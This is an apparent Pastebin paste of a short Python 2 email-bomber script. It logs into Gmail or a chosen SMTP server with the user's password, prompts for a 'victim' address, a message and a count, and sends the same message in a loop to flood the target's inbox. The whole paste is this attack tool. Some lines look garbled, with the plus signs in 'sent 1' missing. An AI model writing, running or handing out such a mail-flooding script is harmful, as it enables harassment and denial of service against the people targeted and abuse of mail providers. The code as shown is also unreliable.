Advertisement
Guest User

Untitled

a guest
Aug 2nd, 2017
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.24 KB | None | 0 0
  1. import smtplib, time
  2.  
  3. choice = raw_input('Are you using Google mail or custom? g/c ')
  4. if choice == 'g':
  5. username = raw_input ( 'Gmail username: ' )
  6. password = raw_input ( 'Gmail password: ' )
  7. smtpserver = smtplib.SMTP( "smtp.gmail.com",587 )
  8. elif choice == 'c':
  9. outgoingServer = raw_input ( 'SMTP server: ' )
  10. port = input ( 'TLS port: ' )
  11. username = raw_input ( 'Enter username: ' )
  12. password = raw_input ( 'Enter password: ' )
  13. smtpserver = smtplib.SMTP ( outgoingServer,port )
  14. else:
  15. quit()
  16.  
  17. smtpserver.ehlo()
  18. smtpserver.starttls()
  19. smtpserver.ehlo()
  20. smtpserver.login(username,password)
  21. victim_email = raw_input( "Please enter target's email: " )
  22. print ( 'Connecting please wait...' )
  23. time.sleep(3)
  24. message = raw_input( "Please enter the message: " )
  25. messageNumber = input( "How many messages would you like to send?: ")
  26. sent = 0.0
  27. for n in xrange(messageNumber):
  28. smtpserver.sendmail(username,victim_email,message)
  29. print ( "Sent %s %d emails." % (victim_email,sent 1))
  30. sent = sent 1
  31. percentDone = str( eval( 'sent/messageNumber * 100' ) )
  32. print ( '%s %% Done' %percentDone)
  33. print ( 'Complete. %s E-mails were sent to %s' % (sent,victim_email))
  34. time.sleep(5)
  35. smtpserver.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement